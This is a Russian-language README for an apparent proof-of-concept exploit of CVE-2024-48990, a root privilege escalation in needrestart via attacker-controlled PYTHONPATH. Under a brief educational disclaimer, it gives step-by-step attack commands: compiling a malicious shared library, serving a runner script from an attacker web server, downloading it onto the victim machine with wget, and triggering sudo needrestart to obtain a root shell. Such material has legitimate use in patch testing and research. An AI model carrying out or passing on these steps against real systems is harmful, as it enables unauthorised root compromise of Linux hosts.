CVE-2024-48990

[!WARNING] Эти файлы и информация предназначены только для образовательных целей. Автор не несет ответственности за любые злонамеренные действия. Вся предоставленная информация не предназначена для подстрекательства к каким-либо преступлениям или злоупотреблениям.

Описание

Qualys обнаружила, что needrestart версии ниже 3.8 позволяет локальным злоумышленникам выполнять произвольный код с правами root, обманом заставляя needrestart запускать интерпретатор Python с контролируемой злоумышленником переменной окружения PYTHONPATH. Официальные подробности смотрите на NIST.

PoC

1. Загрузите репозиторий из git

git clone https://github.com/grecosamuel/CVE-2024-48990.git

2. Скомпилируйте библиотеку exploit.c, чтобы сгенерировать корректную ELF-библиотеку, и назовите её __init__.so

gcc -shared -fPIC -o __init__.so exploit.c

3. Измените <IP> и <PORT> в файле runner.sh, строки 7 и 10, на IP и PORT вашего веб-сервера.
4. Запустите веб-сервер

python3 -m http.server

5. Загрузите runner на машину жертвы

wget http://IP:PORT/runner.sh

6. Установите права на выполнение для runner

chmod +x runner.sh

7. Запустите скрипт

./runner.sh

8. Запустите needrestart с правами sudo

sudo needrestart

Когда увидите [*] CVE module created, нажмите CTRL+C, чтобы остановить процесс и получить свою оболочку!